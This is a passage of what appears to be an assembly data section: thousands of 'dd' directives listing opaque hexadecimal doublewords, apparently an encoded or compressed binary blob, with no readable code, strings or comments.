0D201EC2Fh dd 0E1FC70C3h, 0E274880h, 0D97CF97Eh, 0FE64C00h, 0EF811CA8h dd 0EEEC7D8Fh, 656C00A1h, 0A414B99Dh, 602D5DDh, 8915DA23h dd 838080CBh, 930CFCh, 280E2633h, 0D321D931h, 7C741B01h dd 0D4999F39h, 2EC360h, 0F47DD726h, 2EC2DFCh, 0C8443Eh dd 8748AADBh, 3E4D831Ch, 0F700EBDFh, 2FEA519Eh, 0E2EEAF2Dh dd 0A5E6B00h, 0A9E11C3Fh, 0D24F01CBh, 0FD5AF175h, 0D019D5CAh dd 0EBFE5E57h, 0BF1A6800h, 69E2F49Fh, 7BB04Fh, 0F5150160h dd 0E05A460Eh, 6C33FC00h, 3C23DBB2h, 0CECB0087h, 45044B08h dd 9C5C4817h, 432C0034h, 0A9D935Ah, 58A9002Fh, 4753B116h dd 4D0581C4h, 171C0CBh, 0CC00CC56h, 0CC8BCE72h, 1D5875DAh dd 0CF8CBFC1h, 2B8092F4h, 2D4E7E7Ah, 30931613h, 19F23900h dd 3CC0DB5h, 61C52118h, 15985036h, 0A81287F6h, 2C011953h dd 372D4FD7h, 108018D9h, 0F643BB6Bh, 0CA01D071h, 6EE70942h dd 31800C0Eh, 0E4827B12h, 0E21D35E1h, 0BC80E0A7h, 4F47AADAh dd 0EF7D030Ch, 0B03C306Eh, 240BB7A8h, 9E235317h, 7D8A9B03h dd 0C7A9A808h, 8EBB00B4h, 3AAF89A7h, 91007A16h, 45696C63h dd 26FABC2Bh, 0DA85AAh, 7E4F07F9h, 0B1000DDDh, 6001A7DEh dd 0D8E439h, 0E9D73877h, 0EEEFB6C9h, 0D14C5BEEh, 0BFCF0011h dd 0FD7520B9h, 15B000C8h, 4998485Dh, 13031A7Eh, 84E4E5FBh dd 39B6B82Bh, 37EA30B9h, 6FC73FC8h, 87C50B00h, 73DAFA44h dd 6926003Ah, 7E95D534h, 8AFCAB04h, 8B3F3972h, 7A48000Fh dd 72FEEBD9h dd 0EFBB0269h, 5F9C7C5Dh, 0D089DB80h, 7D00E7B7h, 0E304A0C4h dd 1C1A7959h, 9E63659Eh, 4170C057h, 4754A235h, 9CEC001h dd 0F3672EE8h, 0B864AADCh, 56D124E0h, 0FD0F003Dh, 0BED05005h dd 1FA38C3Eh, 67C0E39Fh, 1918F9BAh, 7FF50129h, 0CE2A3843h dd 63DF4094h, 2F009CA0h, 15720281h, 31D9AACh, 5BCA773Eh dd 0A1CFC371h, 0F0EEBF34h, 227AA70Fh, 7D5C5600h, 0C485C533h dd 0E0FC09h, 0AC0482F9h, 6DC089D9h, 804F993Ch, 48F05C2Dh dd 980FA9h, 55FADBCEh, 0F6B02801h, 91D71100h, 0B8A4C5CBh dd 0F8DE48B5h, 1701E3Fh, 0DA3F369h, 0E8FEB43Eh, 0E200FB33h dd 0E363C001h, 0EA9625F6h, 0FD7A51h, 0AA364F3Fh, 0F9C68BD3h dd 0BCAC6F00h, 1CA50EEDh, 730900B1h, 5F9058CFh, 5200448Eh dd 16D262E3h, 77920DD8h, 0CD7BD6h, 13885896h, 0DF4F1E55h dd 20C0DEEAh, 8BB99FC6h, 68536049h, 961ED247h, 7201C078h dd 9E73A32Fh, 889E9ABBh, 2510F12Dh, 0C06B13B5h, 7F0BF0h dd 19553AF3h, 0FD33A156h, 91EF5C16h, 0C8E7300h, 732BBCh dd 0B75B0317h, 82D4438Fh, 80C6B63Ah, 0D1E8EE72h, 758428A9h dd 3F270057h, 8E168B9Bh, 0B603830Eh, 9612D2ACh, 3300FBCh dd 506E36BEh, 0C40090F5h, 4B135316h, 83038A73h, 7B2FDC1Bh dd 0ADEEC0D7h, 523800CFh, 170E0297h, 12001E8Ch, 0BB561040h dd 9CCA44h, 0EA966DDDh, 0A67174B5h, 0F19F7500h, 9E8AB8D9h dd 1E5CFAD2h, 0F0E929h, 38E6D126h, 0DC00D402h, 0E086FA6Ch dd 426FA4h, 0F12D9380h, 6BCC318h, 883E2C07h, 0FB401E62h dd 1D71454Bh, 0C7980C5h, 35C14182h, 22002998h, 0DC2B1D9Ch dd 61F20DC9h, 2F3B160Bh, 78299444h, 0CD020999h, 0FE00025h dd 2AA99665h, 26E055F9h, 80505234h, 98EA42A4h, 78608D0Fh dd 0C11DF041h, 41E1002Eh, 0B6D8529Fh, 0DA04E475h, 0BC0AAFA1h dd 0C653BC80h, 3FE004Bh, 0D9285F09h, 1300CC51h, 36F36272h dd 0A03DD0ABh, 19BDAC0h, 37C6208Eh, 0EC847EF2h, 0BC03F688h dd 0E795C03Fh, 0C68DC8ACh, 0A2560698h, 0A137DE78h, 14002DF2h dd 7AF9FCCDh, 37153E6Fh, 52C94C5Eh, 60FB6D2h, 0C1748Dh dd 0E0461941h, 0A3511F8Bh, 5A9F4407h, 0BF809131h, 1975B8D1h dd 31728D73h, 0EBDAC45Dh, 238BBC1Fh, 300EBB00h, 31F47Bh dd 0D04BC42Ch, 0F6032A39h, 17075000h, 5136CE54h, 0B9A93ABBh dd 0DCCD2500h, 571BE8F7h, 0C849BD06h, 60088D3Fh, 0BFFE2105h dd 4000FCE8h, 7DF18CEBh, 1950F2A0h, 5152AB5Ah, 0E8FC19BCh dd 0D5571026h, 8903C848h, 8880BA15h, 0F8BD3ABFh, 63D5B200h dd 0FEDE2846h, 0A8EF3F68h, 4C508E80h, 55EBAF6Dh, 0BCCCD401h dd 0EE04E608h, 7F941041h, 0BC755906h, 3567E001h, 0D9181E52h dd 0BDC12880h, 0B7CAEFFBh, 0CCD34B18h, 80E7FF10h, 0B6018DF0h dd 0EEDF369Ch, 98E401C8h, 778900C1h, 28DAFB55h, 0F6017374h dd 389EA541h, 0B8801434h, 3710C2D7h, 0EC4BFDADh, 0FEAA1BF0h dd 0F8E0011h, 0C2FA61C0h, 981D6CFFh, 0DA072DF3h, 0ACF06A50h dd 0C4B2963h, 0F944BA7Dh, 3900AE52h, 93DE9998h, 402560h dd 0ADB2C742h, 5BF154D6h, 7B1B6400h, 94EABE77h, 0B46B1D7Dh dd 0D1C0402Ah, 0E01A5040h, 10396207h, 128063D7h, 27FE9h dd 15489B21h, 270AE082h, 65B6A807h, 0BCF0C839h, 644B1253h dd 21542981h, 0DC12AEAAh, 2E22D213h, 0CD841A08h, 3008B15Ah dd 22262142h, 9D2214CCh, 7E442281h, 0DD75600Eh, 1FE9AB8h dd 0A9100F18h, 0CCC0DF4Ah, 30002E38h, 0BDC2EBCEh, 94E508h dd 0EA18E40Ch, 0BC4C63BEh, 0DCD938h, 0C88F4F55h, 0EEEE25Ah dd 680A7B83h, 3B20B60Fh, 3194C656h, 84C251Fh, 9E571880h dd 0E42E5D44h, 428728E9h, 0FBF00FA1h, 0B200EA3Dh, 0F822627h dd 4C16A500h, 908563DEh, 0DCEE19h, 0F3F92150h, 0E32B8B1Ah dd 0E44CDF00h, 2341D9A3h, 0EC1E0117h, 0EEC6EDF1h, 0B899F024h dd 0FA18C000h, 0A46042E8h, 0EC441F09h, 2A04C0B6h, 0FE6140E9h dd 1F46DD14h, 13B01EE0h, 855488C0h, 7C608Dh, 52AA06B9h dd 0FA7D59FFh, 0EF042A0Fh, 0D43C406Ah, 0E8D45FDh, 0E7B066BCh dd 353ADC0h, 6C1EAF14h, 7AC1CF67h, 72D3A6DFh, 75509E60h dd 65AA00DBh, 55A50746h, 7507864Eh, 3CE98120h, 0AAF4D690h dd 0ECB1006Eh, 0F7718277h, 0B00EBB0h, 76CB45ABh, 2AEA4Dh dd 847AE6B8h, 0E0A9E95Ch, 82B2EC00h, 0A84CBE86h, 5981015Fh dd 5E89B76h, 0B597FF7Ah, 13A4003Ah, 92673518h, 1848700h dd 6082D8F1h, 0ED863EE9h, 0D7F20484h, 0ADC980C9h, 3B009BC2h dd 32DA01Eh, 6C192Fh, 0C52C8DF8h, 91E12928h, 0B61CE00h dd 0BC3AEE9Bh, 382FFCF6h, 7D0014BAh, 678E9A5Dh, 0A30431F5h dd 2CCFB398h, 0B759880h, 0F2460795h, 1FADEA66h, 1CE0BBEEh dd 0CC4D05CAh, 0F8006DB8h, 1A913A1Bh, 0E57BA8h, 0BE533C90h dd 4DC3E337h, 74076577h, 58E861FAh, 0A0EC4743h, 67D3A52h dd 0DC1228E6h, 5E00F85Ch, 23324E0Fh, 14878Ah, 0C5E430CCh dd 0CDCF593Ch, 4C8C7424h, 84D2F787h, 293053B0h, 85075C1Dh dd 4B46B201h, 20CA699Ch, 3A00B638h, 2C50B59Eh, 3C20A70h dd 6ECDD8B3h, 809F7D9Bh, 5176C3F0h, 8718F807h, 0ACA03910h dd 9EFD236h, 7030AD4Dh, 0CF054002h, 9C903824h, 0DFFA7Bh dd 21301CBDh, 0DD161E19h, 0ACA8A03h, 0E0E1BB0Bh, 0BD8857h dd 0EDF6D442h, 8B1F5539h, 5F026A00h, 0EA5727ACh, 0EC3F398Dh dd 0A2E6F00h, 526C9A5Ch, 0D3DDCC00h, 0F9E36527h, 56040610h dd 0C8F6E2D6h, 1E098400h, 0D8224799h, 5EA0032Fh, 29354883h dd 65734688h, 950070FCh, 1D9D1B4Dh, 7B5F4CCDh, 27AE006Dh dd 0B932A3EAh, 8603F4B1h, 0FE494613h, 8CC0E483h, 9F6A30AAh dd 121C18E0h, 0F844C05h, 0EC80FC60h, 1FA56C32h, 40FE86B0h dd 8B4B5101h, 0FD05A0D4h, 68784817h, 99107DC0h, 16843A31h dd 882293h, 7564443Ch, 0C27A1402h, 11B1E700h, 0EFD56FA2h dd 86A000F1h, 9E0B4147h, 0D000D824h, 837944D9h, 4392A3h dd 21E1AB15h, 4B741705h, 910F06C0h, 489ECBBAh, 8507FC29h dd 8519697Ch, 86AC006Fh, 0A8D541B8h, 0CBA35C1Eh, 0C7CD1931h dd 354DCECh, 3AC1AECAh, 0AFC08EEBh, 0FE0A46E6h, 0F826AD9Eh dd 38E6771Dh, 4872F442h, 55B3E40h, 1EB027F8h, 1CE80108h dd 0D85ED8D6h, 1B0353F5h, 8C3B4C14h, 0D87AAB41h, 7F0D2Fh dd 8DCB4FB2h, 1F2E9509h, 0FC1DDCEDh, 2AECA550h, 5581D702h dd 0C05A618Fh, 833C58h, 7E67590Bh, 1B92A679h, 6FE65206h dd 3781F4Ah, 0FEAC2588h, 14802A5Bh, 5E035486h, 847CAB7Bh dd 0DB582C33h, 4A370285h, 0C1DF7ABAh, 60BF557Ah, 0D1278480h dd 8AF0F1D6h, 7D2E6A3Bh, 93D98C01h, 3397E7A7h, 6BF1A8DFh dd 465F0BEDh, 0E574423h, 4B2F40E7h, 19C296h, 1BE3BE32h dd 4EA931D0h, 0FAC69E00h, 6E59E176h, 0F1D400BDh, 4B8BC821h dd 2400D0D9h, 0D345347h, 3C692022h, 8007BA6h, 48F58E45h dd 837ED0DEh, 2C48D478h, 83953E44h, 450E9D3Ah, 0C9648802h dd 150B0096h, 0C28786A9h, 35023AC5h, 0A459E232h, 99E08017h dd 25921Ch, 584CBB3Bh, 8BBF3081h, 6F005675h, 0D8CAA178h dd 7F4D5B2Ch, 0CC8A3AC0h, 855F3580h, 0A5F2EAB9h, 14E242EAh dd 0C544FC0Fh, 2F08C374h, 1629A068h, 20E0FB9Ch, 86F824C3h dd 3550005Fh, 0FE454F6Ch, 0B7842100h, 68B18DA2h, 393B09E7h dd 88007EBEh, 650B0547h dd 0FA56C806h, 358AC84h, 9C194985h, 3BF0E7C2h, 0A82CC786h dd 94073FA0h, 7E40C4E6h, 405C80h, 0F4539C9Bh, 0D8238B95h dd 0F00B8807h, 1AD01833h, 0F130F690h, 14EE70h, 0E926AEBBh dd 8D2AADF9h, 115A5E00h, 0CDEAC1FAh, 0C6F41FEEh, 769D4063h dd 0CDA850Fh, 5B23F001h, 0CAE88F90h, 525FAC80h, 0E959740h dd 0C7A4DE00h, 7D773444h, 98C20106h, 242B52E3h, 60DBFC0Ch dd 34A2AF00h, 0B3ED0E50h, 99515CBEh, 4D27A400h, 6FA9774Ah dd 9BCF1900h, 977895DEh, 6C4E0F14h, 0D3C0B4E6h, 7338E582h dd 85D08400h, 0E325D846h, 7B780CF5h, 0EE1872E6h, 93516501h dd 0C658E549h, 4687D0FBh, 55E01F4Dh, 7BD480EBh, 0BC13AF7Ah dd 0A9AABB00h, 0A6EDDDBh, 18E6078Bh, 215524FFh, 0B9E016EAh dd 8032BF88h, 5D618A67h, 0C1F712h, 8DA704EEh, 0F018B23Eh dd 0A6A239h, 0FB54CF31h, 0F24764EAh, 139BEA2Ch, 3C8213h dd 16743275h, 2B02123Bh, 3E0EB21Eh, 614141F3h, 0FFF22E0h dd 0B06C36CFh, 17B37940h, 0B500C79Ch, 19CAEE70h, 52B96h dd 6B09BE3Dh, 1DE022D6h, 0B600C9E0h, 0E7170BCh, 0AD7CED5h dd 0F8F54063h, 43B20090h, 2AF9BD36h, 0A71C1603h, 0D088F37Dh dd 0C6819Ch, 660395Dh, 79CCD90Dh, 0BD4CD07h, 808AF902h dd 0C41BC30Ah, 7A87DD80h, 2416FD75h, 2079E3BFh, 5EAC00F4h dd 2819A176h, 825C4101h, 34850076h, 6F035127h, 0D0435016h dd 0FB471E4h, 0C918606Dh, 0F5F90860h, 1E396CF7h, 55007FD1h dd 0BD447897h, 60A8B2E6h, 81F2381Bh, 0E53A1C34h, 942918B8h dd 5DF83E8h, 95D4CAC6h, 2FA40042h, 664E9B74h, 0C7450300h dd 0A5BF2E0Eh, 28F603CAh, 8C2724E4h, 0B78070ABh, 0C6000722h dd 152502Dh, 1F355DAh, 4253DC5Dh, 80C2CE96h, 0C051CD40h dd 0C010714Ch, 0B6181239h, 2A003491h, 9DF4738Eh, 0E61D26A1h dd 2E6C0005h, 70F9CAAEh, 57051E13h, 20716AC4h, 9D00B9ECh dd 467F5069h, 130A77B6h, 0BCCB944Eh, 0AFFE3C00h, 575319h dd 0E9F4C71Ah, 3B6E36CCh, 99E7BA1Eh, 8B54ED80h, 5FF82h dd 747295C2h, 1D661A64h, 0BBAD9F0Fh, 0A1FEA0C5h, 26F89C3h dd 29C4DE33h, 0A8402082h, 0E100317Fh, 10061F02h, 74ABE3Bh dd 0B6D46F9Ah, 66FB0003h, 7E0089B7h, 0FD8DB075h, 3C2DC07h dd 4C116FD3h, 27D01B65h, 0A2B04F95h, 318CA600h, 30345121h dd 24907Eh, 0F7540402h, 6645B712h, 92EEEC0Ah, 6500D4CBh dd 7A2BC61Eh, 37EA24ABh, 441180E8h, 9B547F7Dh, 45A358h dd 0DEBADB05h, 0F0B30F10h, 63ED0CE4h, 0FC49AFD3h, 1875209h dd 0D9420A2h, 0F2C3E4Fh, 23E2AE68h, 2EEF19B8h, 0A7F16705h dd 0E800DC65h, 0C7A519D6h, 0FC02030Ah, 24A1A97Dh, 7822B4E8h dd 0F4305C00h, 68D037C5h, 165E001Ah, 73B832C1h, 260351E7h dd 9776C36Bh, 78C7888Eh, 105500CDh, 0F0E62A9Fh, 481FC25Bh dd 0E88E4D67h, 1E4484AFh, 2F6C1C90h, 87E5007Fh, 2C10A772h dd 0DA14E88Ah, 0EBBB18Fh, 774B3928h, 80528200h, 0F1E2F57h dd 7BF4CBA5h, 32FA7600h, 9800B96Fh, 0AED66831h, 9FE3B5Eh dd 0DAC450D4h, 0C80DD800h, 0E370E446h, 12C7EE00h, 48EF408h dd 0CCE729A8h, 18F81DC0h, 159C986Fh, 81BABE3Ah, 869D7719h dd 0C04004FDh, 39E2B2B8h, 1B806841h, 0D525A54Ch, 0BC0774E3h dd 0D3051DC9h, 0A92CB620h, 0CE630AECh, 0D0CC3Fh, 0E6AD5255h dd 0AC004483h, 0B0E50B75h, 2F3C51h, 1F97B113h, 0B3B27A9Eh dd 0D10B257Fh, 80E977F5h, 8CBFD044h, 0FD2F0076h, 0DCF826FCh dd 0D500E124h, 893244DBh, 0A2CB36h, 69BD056Dh, 8DB4262Ch dd 0BA00457Ch, 7217C70Ah, 387166E5h, 7780785Bh, 5434F475h dd 0F7021C76h, 6EB21947h, 0B0686086h, 43170CDEh, 6F184666h dd 0C8B17200h, 0ED93C6F7h, 81F4009Eh, 5D4A9AE7h, 1F602957h dd 0A24E2F28h, 0A082B083h, 664904h, 0EE1BCCBAh, 0ECE8C193h dd 804C333Fh, 59F0DE9Ah, 28B52657h, 0BDCA81h, 547578F6h dd 0DD439A94h, 0E20D2F03h, 7A0841Eh, 0BD386560h, 0F09C87B7h dd 0DEF24257h, 410054FCh, 69C31DD1h, 3DE47913h, 0A9812188h dd 455BCABh, 0AE908396h, 81F8C007h, 0D6C1D272h, 14E2F850h dd 857F1CD0h, 9E5CC0BFh, 3E6330C8h, 0D2DF1200h, 0F45D177Dh dd 3D1F02E1h, 39C2B31h, 0ADD66860h, 86AAEA0Ah, 0D200D4B5h dd 9894A8BEh, 0CFC50099h, 8797A659h, 624834F6h, 0FA3E75C5h dd 3A9E8093h, 0C947DDAAh, 0D42A3C05h, 0DEC3F503h, 0B4DB5804h dd 5F005079h, 45EEEBDAh, 3C7B7Dh, 0B0D7D164h, 0C8F2BA12h dd 5E15B0Bh, 8B83576Ah, 0B1D8E5C7h, 0C4B185B7h, 0F617C400h dd 2C37326h, 0DE94201Fh, 14C8A889h, 300C7BEh, 0AF6D3408h dd 3DB2759h, 89D5EADFh, 0FDF8384Fh, 7D7FCEFAh, 221C0A00h dd 79ACB1FEh, 0D42339AAh, 5A491789h, 5DE1D080h, 75CA963h dd 4FA207A4h, 86F03BF7h, 0F16F51h, 0E9FEFD38h, 0AECFAFE0h dd 0BC3A7E0Bh, 3F2C20CCh, 0B9840FD0h, 920B8000h, 0B27EFE95h dd 0B60068BAh, 9707C321h, 63013B66h, 240919C1h, 468081FBh dd 7100EBB9h, 6EF8B1D4h, 5C4ED75h, 532A793Bh, 0BD53C0A0h dd 0D8025DF6h, 0A1F352E0h, 0EA48688Ch, 0A1800D3h, 0B198E3DEh dd 6B004474h, 67571FB4h, 1A8CBCDh, 4D30F14Bh, 6061926Ah dd 2500B2F2h, 82CE1F65h, 12F80B76h, 1D33FFCBh, 0B5D790h dd 1EC49520h, 7D002CC5h, 0F5DFD7AAh, 14C9751Ch, 80C3BD6Fh dd 21F66E01h, 20F77EE8h, 0CF00A284h, 8B1360D8h, 0B38011h dd 1E67C38Eh, 0BE49E13Bh, 2A75EC00h, 0CCBB2D24h, 0DC431801h dd 88EBF041h, 9A35BF01h, 0FEE0950h, 8B00CFCBh, 693E97h dd 42BF72D4h, 0DBC0E5E0h, 5009092h, 0FAD1C22Ch, 0FE090D34h dd 748E09DDh, 9C0B088Dh, 6ADA5C02h, 0D4E11CC9h, 711E599Dh dd 1D00E988h, 26A54BF5h, 0C16700DFh, 40FC201h, 30C0EF43h dd 0BFCD4FB8h, 9DAC0048h, 3C4DE7A3h, 21C04903h, 2C7651C2h dd 53902831h, 5B70C8h, 0D17F0D26h, 73B5BFFBh, 28C4F49h dd 0B8D86E3h, 9998E0C1h, 71020092h, 931D644Ch, 35008098h dd 4F22D3CFh, 14FB74DEh, 0E054B985h, 841FB500h, 4C45F9B0h dd 0D04498A0h, 94FC3601h, 51066CE8h, 20AAFCh, 0F4884C23h dd 7DA31DC7h, 0E73A2204h, 0EB8756CDh, 1C2A4EB0h, 0E5B98ADh dd 6E8509E5h, 0C4DF6902h, 99E9BEC0h, 7E085106h, 0E062B96Bh dd 44AF015Ah, 0E2356EAEh, 48102077h, 28F1BA00h, 4E5F346Fh dd 0C7F8DCFFh, 0B07F7852h, 9F2BC3E0h, 0B4985600h, 60A9061Dh dd 0E18A00CDh, 91DDD40Ch, 6C005D78h, 0C3424F82h, 3E01AE65h dd 2600E699h, 0FDF4FC08h, 0A400755Bh, 0EF89F512h, 15E836Ch dd 0C8B4DC19h, 32486EFFh, 971FC2C8h, 0F525C0F4h, 124E899h dd 7C8CC012h, 0CCC3D931h, 1309C144h, 39F4367h, 0A1870388h dd 9024F21Bh, 0B938007Fh, 339BA4A5h, 0F80FA25Ah, 44AAB2Fh dd 4C818780h, 742C7D5Eh, 811FE010h, 0BF6D3AAh, 60743FE1h dd 0C2F50001h, 29E1C0BFh, 21001C07h, 832EB50Ah, 0F0391D0h dd 0EEC889E9h, 384A463Dh, 4793869h, 8B5E2A00h, 7AEDDAD5h dd 6B4B3F85h, 0B1569581h, 878D6F4Dh, 137C38F0h, 2B90ECF0h dd 0F2FD00F5h, 37464717h, 9E05ABCCh, 0BBB77618h, 0A3598800h dd 60EC1EA1h, 223010BCh, 0DF177520h, 8400C33Fh, 231CEA26h dd 0F6647E90h, 8B6200B4h, 346D849Ah, 0DD0030BAh, 59AC39B9h dd 13DC2637h, 413F11E1h dd 0D8D78E1Ch, 10828B7h, 0E42CF749h, 1FC8E69Ah, 4D971F2Ah dd 5F80B98Ah, 4FF10BD5h, 49585B41h, 39C41310h, 6A4C1900h dd 794DB6D7h, 0D01D4C33h, 0E91FB204h, 8F71303Ah, 4FB4A8CCh dd 3C180798h, 70BB6979h, 7390B45h, 7E52A31Eh, 0FDC64C80h dd 164D93F5h, 4B27492h, 0C0F0DDEEh, 0C356831Dh, 75764503h dd 0E82E2B01h, 2FB163h, 0E4D2D38Dh, 44480B9Ch, 0CA491100h dd 2C26A2F6h, 4A533C98h, 14DC0900h, 0EF1774ABh, 6C84B803h dd 0C104B787h, 0B13EC244h, 26DE0AFh, 3C00A84Eh, 0A59885DFh dd 84B600FEh, 0E4EC7FD5h, 0C91E94F4h, 89C0CCE8h, 0E91C7C10h dd 848D00BEh, 0D42849D8h, 4D015664h, 0C9B6C5FFh, 6074D596h dd 4A27000Bh, 0E430548Bh, 92160D25h, 0A81EC306h, 0C0B25FCFh dd 0C0EBF971h, 7D940093h, 0B56F5B25h, 0F007B85h, 0AD9CD7DEh dd 0ABE3A7Ah, 4CC5B147h, 0E54E03ECh, 0DEA390EAh, 38CA20C9h dd 0A6480034h, 1D517BC9h, 506B3A31h, 36BD250Dh, 0F0C8ED20h dd 0DB1C63F7h, 65C09F92h, 0B579DC0h, 8A2F00B0h, 54E97D20h dd 4A007C09h, 11C0C84Dh, 13B925F5h, 0D7A23C5h, 53205ED3h dd 2002C130h, 5FA6C05Dh, 0F70C810Ch, 8454DA86h, 334B4800h dd 3299391h, 6108F5C4h, 88013E77h, 34C63BC8h, 0A8D83FFBh dd 84322EAAh, 1A4C039Eh, 0F2F8B3CAh, 0C41C22A4h, 7BC011D8h dd 0FFB768BEh, 0AB8A0240h, 0A331C8A0h, 918D84A0h, 102894Ah dd 0B01A590Ch, 0D8C9C1B7h, 11530CCh, 31C57C4Bh, 30235191h dd 0CE90221Ch, 41ED6Fh, 35192618h, 0F55106C0h, 809F8CAh dd 21716Bh, 92311402h, 1EE1037Eh, 0CABF9078h, 151880Ch dd 193E617Fh, 189BE248h, 0D98852D4h, 36EF2C60h, 58D69106h dd 0C20848Ah, 0BA3C1B23h, 9010C018h, 0B201717Fh, 4A38D595h dd 57108072h, 8399A2D4h, 7424003Bh, 8EAE0FA3h, 0F6000907h dd 0D3174CC3h, 3B3473B3h, 8000BD9Dh, 0BED0A89Eh, 4A007DAFh dd 0FCF0EE42h, 0BCE3CBh, 0AA5D2C59h, 0C9C6B785h, 97EF0407h dd 0ECF01974h, 3C3D1BCDh, 9C80298Ch, 0B7FE8DBh, 8700E2B1h dd 9169EA52h, 0E4A2FBh, 90C90281h, 0CD955149h, 89CC5C3Dh dd 7283C2h, 0AE649159h, 4BF90D55h, 0E0287766h, 67E8485Ah dd 9AC76300h, 0F95D3C2h, 0ECDC00EDh, 0B54A62CCh, 59CF6694h dd 89144610h, 2FF70148h, 5AF65B97h, 3520B867h, 68802992h dd 785EE4h, 0D61677F2h, 0E61F4B35h, 9FC9F800h, 0F1F94715h dd 45AE1F94h, 8650002Fh, 5DAD6898h, 0D18F0809h, 37C300D5h dd 2659Dh, 149B75F9h, 11E37853h, 17A9C03h, 0F8FEB2C9h dd 39F4A250h, 3601C805h, 0C1E566A3h, 0D5F18068h, 0CE43E417h dd 0E8EC94h, 730B64CFh, 3CAB978Fh, 82B95202h, 0B7FB8A67h dd 77EF8404h, 80CF78B9h, 0B87C622Bh, 67E29404h, 27479FD3h dd 6602015Ah, 84EE028Ah, 0AB047D1Ch, 18A40D93h, 0E0AA2013h dd 312C6FCh, 0EA4B0155h, 99366951h, 8050096Bh, 500DAA34h dd 0DD0A4CB8h, 5783469h, 0D7A390Ch, 9E71E61Ch, 56BE8010h dd 8104550h, 8A66E60h, 0B81A0484h, 28F0170Ah, 0A5196444h dd 1C4C6109h, 30F70DEEh, 908EF7Ah, 3314110Ch, 6F4C430Bh dd 40FA1829h, 0C05052BCh, 8EB59182h, 0F54501C4h, 85F32D9Fh dd 5970564Dh, 0E03EC6F4h, 0E10D1DF8h, 1772FC29h, 0DC18D604h dd 4E10BA23h, 197B60E1h, 4F75641Fh, 7EF4D000h, 94704D99h dd 0F1741842h, 381D4178h, 396BC403h, 1C990769h, 73FE2651h dd 6915BF39h, 6ECDFE0h, 434C718Fh, 4480048h, 0E6CD2C07h dd 4D045F88h, 0E5C78263h, 7DD49090h, 78AB3012h, 0CC3F8A11h dd 0BEA92702h, 806EEA23h, 0A4070234h, 5848C0C9h, 0C891AE14h dd 8DA8213Eh, 8B87B6Bh, 0D58748BAh, 0C085ABB2h, 9E828005h dd 0A968D330h, 610DC77Fh, 79FE0855h, 52F3E07Eh, 0C107E036h dd 517D6748h, 0B04C4084h, 191FBC7Bh, 0FFC02060h, 12CF8CE2h dd 426D0099h, 0BC8D2A84h, 4E0066D5h, 83CB887h, 60619B0Eh dd 0F477D96Fh, 3628C303h, 870C8C45h, 0E83CE8A7h, 0BAC22689h dd 8580F7Ch, 8489114Ch, 10D3251Ch, 2AD19947h, 3238488Ch dd 0E28E37Bh, 750BE20h, 6042FF33h, 0D5888173h, 0B4215E8Bh dd 94D2F4h, 0FF3DE47Fh, 3308E581h, 0E1310F6Ch, 8608C1BAh dd 2462AA16h, 1D0764D0h, 0BC318114h, 0F0B3004Fh, 608C0786h dd 12052178h, 0FE3C9E81h, 0F7A161C8h, 0B04752F8h, 2A11AC5Ah dd 0E3599100h, 0C9E4D002h, 0B985450h, 0AD078512h, 0A89E2C4Ah dd 1003B0E8h, 0C08BFF92h, 240F6FD4h, 9D387A3Fh, 0D5052088h dd 742B8140h, 8C1EB82Ch, 20FE2744h, 40ECF78Dh, 75CF022Eh dd 13804F1Eh, 0ABD5881Ah, 0E7493E4Eh, 9F80F481h, 8F83A9D3h dd 941F0258h, 51113CA4h, 14D080F4h, 0CFFDD601h, 7CDD1CACh dd 0E8063CA3h, 0D88D1BF7h, 0C024500h, 0B056864Fh, 0AB7B077Ch dd 59E0D4E6h, 419D5004h, 926AD5C0h, 0B84AC994h, 0C4534D71h dd 0B8160515h, 184312Ah, 530DFF39h, 54EA0686h, 81D801A4h dd 0D3BD6F88h, 8C9460EAh, 118044ECh, 0A4C8453Eh, 0DC0C0CE1h dd 12F73102h, 9E48494h, 3014BA18h, 29C06A34h, 0AAE48841h dd 4C428127h, 0B20702F8h, 8011C02Ch, 91C058D3h, 0E0A83C86h dd 0E2170101h, 6E108489h, 0F7C27071h, 0E5407E64h, 0C0156747h dd 0E70CB184h, 7C4847F7h, 9884BB29h, 0E9AB2837h, 0BE7C243Ch dd 2A4F1E88h, 85E51D58h, 0D39905C7h, 0C48205Ch, 0E6504F07h dd 911DF7F0h, 7D46C78Ch, 0C80694Dh, 0E64E15E0h, 6719B3B0h dd 6F608A06h, 4AD5B825h, 64B7D170h, 0C8EC184Eh, 40C1678h dd 715BD099h, 0B749284Fh, 22DB43B0h, 42090079h, 0F45E63C6h dd 47E0810Bh, 99CD10C0h, 24DBC7h, 0A3EEC906h, 0CFD5D494h dd 0E68DF801h, 4A4D7BC8h, 1FCC7CE9h, 0C64307CDh, 0B47FE52Bh dd 0C9E34371h, 0CED4E07Bh, 621D3719h, 0DC3D7018h, 5030D046h dd 0DF6328D3h, 7CC31E05h, 680B07AAh, 62C980E2h, 4906EF6Bh dd 24C65EA2h, 0CC191F41h, 0E506036Ah, 10287E5Bh, 30018A69h dd 0EBD14EDFh, 7F0442Ch, 0C9430002h, 0D40D6D63h, 0BA0372A6h dd 1FF8EE8Dh, 0F0516823h, 502AF604h, 0E000A49Bh, 0FFAF10F5h dd 0F8FDD544h, 7DEF0341h, 3523C5E3h, 0CDD34580h, 0B8BCBF1Fh dd 2D07DD1Fh, 0C9C00124h, 30546958h, 0D45968EEh, 0A1011E28h dd 4D45FE55h, 51839ABFh, 0E4B7CA9h, 0C3622900h, 0D472D804h dd 161FF8F8h, 0CBE53Eh, 3647A793h, 113D2CEh, 8D195E67h dd 34417EF9h, 0C192E550h, 281B0C1Ah, 3000D119h, 0EB317BF9h dd 53EDCC1Fh, 3B2C70CEh, 157D00CBh, 14E33174h, 0E918EF76h dd 0A1E84164h, 4E983BDh, 46C8F01Ah, 0A57A4D12h, 8A6D1C08h dd 14E38D36h, 0E6C14C63h, 20C72D9Bh, 0E8A14214h, 7CBC50A6h dd 6652EF80h, 0FC1E0794h, 0A84CF54Bh, 0FD531EF0h, 1AD34533h dd 2EF02497h, 2C73AC04h, 93F5E85h, 0C0061B5h, 0B7D24ACBh dd 90017D00h, 9ACE7EB6h, 14C926Dh, 0E8BD70EFh, 0CB4CD0C8h dd 78EC2908h, 561A0881h, 88BE8C88h, 1888D107h, 6DB5887Ah dd 8284894h, 10B88A30h, 5B2684D4h, 0A080A448h, 41A7271h dd 0B08703D7h, 1572AA8h, 90E363B8h, 6B8A4300h, 0A4E1D964h dd 8FB503EEh, 14D83F28h, 20675698h, 0DA6E000h, 74B4F871h dd 31B80093h, 541BE919h, 5578E1A8h, 8107C93Fh, 625C84DFh dd 9D44BB2h, 0E8FB0920h, 